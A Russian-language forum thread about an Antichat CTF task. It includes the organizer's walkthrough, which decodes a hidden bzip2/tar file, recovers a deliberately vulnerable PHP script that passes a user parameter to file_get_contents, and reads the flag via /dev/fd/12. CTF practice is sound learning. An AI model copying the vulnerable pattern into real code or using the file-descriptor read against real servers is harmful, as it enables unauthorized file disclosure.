Task # Task #14

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 6 Apr 2021.

  1. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    [​IMG]

    С момента выхода последнего таска прошло некоторое время, все успели отдохнуть, набраться сил и новых знаний, а значит пришло время запускать следующий.

    Задание:

    Сроки:
    Правила:
    Таргет:





    Hint: Для работы с "каким-то странным файлом" можно присмотреться, например, к xxd
    Hint: /myb4ckap/s3cr3t.php.bak

    Прошли:
    @Ka1_ne
    @leksadin
    @Baskin-Robbins
    @Раrаdох
    @ii445888

    Прохождения:
     
    #1 joelblack, 6 Apr 2021
    Last edited: 23 Apr 2021
  2. Ka1_ne

    Ka1_ne Member

    Joined:
    6 Apr 2021
    Messages:
    1
    Likes Received:
    7
    Reputations:
    7
    Интересный таск. Выполнен;)
     
    trota, x10, eminlayer7788 and 4 others like this.
  3. leksadin

    leksadin Level 8

    Joined:
    19 Jan 2016
    Messages:
    128
    Likes Received:
    60
    Reputations:
    12
  4. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Добавлен Хинт
     
    dooble likes this.
  5. Раrаdох

    Раrаdох Elder - Старейшина

    Joined:
    30 Jan 2014
    Messages:
    93
    Likes Received:
    139
    Reputations:
    33
    Честно говоря, долго ковырялся с начальной точкой входа в само задание, что несколько заставляло поникнуть — невнимательный :)
    Ну а дальше дело техники. Спасибо, было как всегда здорово!
     
    crlf and Baskin-Robbins like this.
  6. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Добавлен еще хинт
     
  7. ii445888

    ii445888 Member

    Joined:
    6 Feb 2020
    Messages:
    6
    Likes Received:
    6
    Reputations:
    9
    нашел с подсказками
     
    crlf, Раrаdох and Baskin-Robbins like this.
  8. 4Fun

    4Fun Elder - Старейшина

    Joined:
    25 Jul 2018
    Messages:
    496
    Likes Received:
    708
    Reputations:
    11
    Спасибо за задачу. С нетерпением жду разбора решения. Удалось пройти до уровня второй подсказки своими силами, дальше не получилось из-за отсутствия опыта программирования на PHP.
    В дальнейшем очень хочется видеть на Античате задачи, связанные с другими языками программирования и разнообразными стеками веб-приложений.
     
  9. joelblack

    joelblack Reservists Of Antichat

    Joined:
    6 Jul 2015
    Messages:
    244
    Likes Received:
    450
    Reputations:
    145
    Прохождение:

    Для начала необходимо найти точку входа. Заходим на http://task.antichat.com:10014/, открываем исходный код страницы и внимательно изучаем его. Находим закомментированную строку, содержащую путь:
    Code:
    <!-- /somestrangefile

    Пройдя по нему, можно увидеть данные, в Hex представлении:
    Code:
    42 5a 68 39 31 41 59 26  53 59 04 dc bb 81 00 00
    7d fb 82 c2 10 00 10 40  05 ff 80 00 20 7b 5e 5e
    60 20 00 00 08 20 00 72  2b 53 4c 47 a8 34 c8 03
    43 d4 f5 1e 90 49 0a 9e  88 da 8d 07 a9 a1 ea 64
    7a 80 a5 b0 79 7e 42 09  21 21 98 04 63 23 7a 68
    58 32 48 1f 37 8b 56 1a  db 73 ba 1b 23 60 bb 6b
    4e 4d f2 80 eb 0e b1 94  bd 63 17 b6 a1 e9 4a 91
    59 ce f1 cb a9 ca 84 a4  93 e2 2e 89 d0 3a b6 45
    e3 08 d9 7c d6 e6 ac d2  70 7d 42 98 4e 00 00 a5
    7e 2e e4 8a 70 a1 20 09  b9 77 02
    Первые байты (см. Список сигнатур файлов 42 5a 68) указывают на то, что перед нами
    Сжатый файл с использованием алгоритма Bzip2


    После этого нам необходимо преобразовать hex обратно в файл. Сделать это можно, например, с использованием утилиты xxd:

    Code:
    $ xxd -r -p somestrangefile data
    
    $ file data                                                                                                                                           
    data: bzip2 compressed data, block size = 900k
    
    Используя утилиту bzip2 извлекаем данные:
    Code:
    $ bzip2 -d data
    bzip2: Can't guess original name for data -- using data.out
    
    $ file data.out                                                                                                                                      
    data.out: POSIX tar archive (GNU)
    Перед нами tar архив. Извлекаем из него данные:

    Code:
    $ tar -xf data.out
    
    И получаем файл ctf.txt, содержимое которого выглядит следующим образом:
    Code:
    please,see /myb4ckap/s3cr3t.php.bak
    Изучаем содержимое файла s3cr3t.php.bak и понимаем, что перед нами данные, закодированные в base64. Декодируем их и получаем исходный код файла s3cr3t.php:
    Code:
    $ base64 -d s3cr3t.php.bak 
    PHP:
     <?php
     $fp 
    fopen("/var/www/flag.txt""r");
      if(
    strlen($_GET['f']) <= 10) {
        echo 
    file_get_contents($_GET['f']);
      }
      
    fclose($fp);
    ?>
    Чтобы прочитать flag.txt у нас есть <= 10 символов. Конструкция, вроде ../flag.txt не подойдет, так как в сумме получается 11 символов. Также не подойдут разного рода Врапперы. Можно заметить, что в самом начале скрипта, c помощью функции fopen происходит открытие файла. На этом этапе, учитывая все ограничения и наличие функции fopen самое время вспомнить о Файловых Дескрипторах. Остается только выяснить нужный дескриптор, после чего мы сможем прочитать данные из файла flag.txt. Перебрав некоторое количество дескрипторов, выясняем, что нужный нам 12:
    Code:
    http://task.antichat.com:10014/s3cr3t.php?f=/dev/fd/12
    И получаем флаг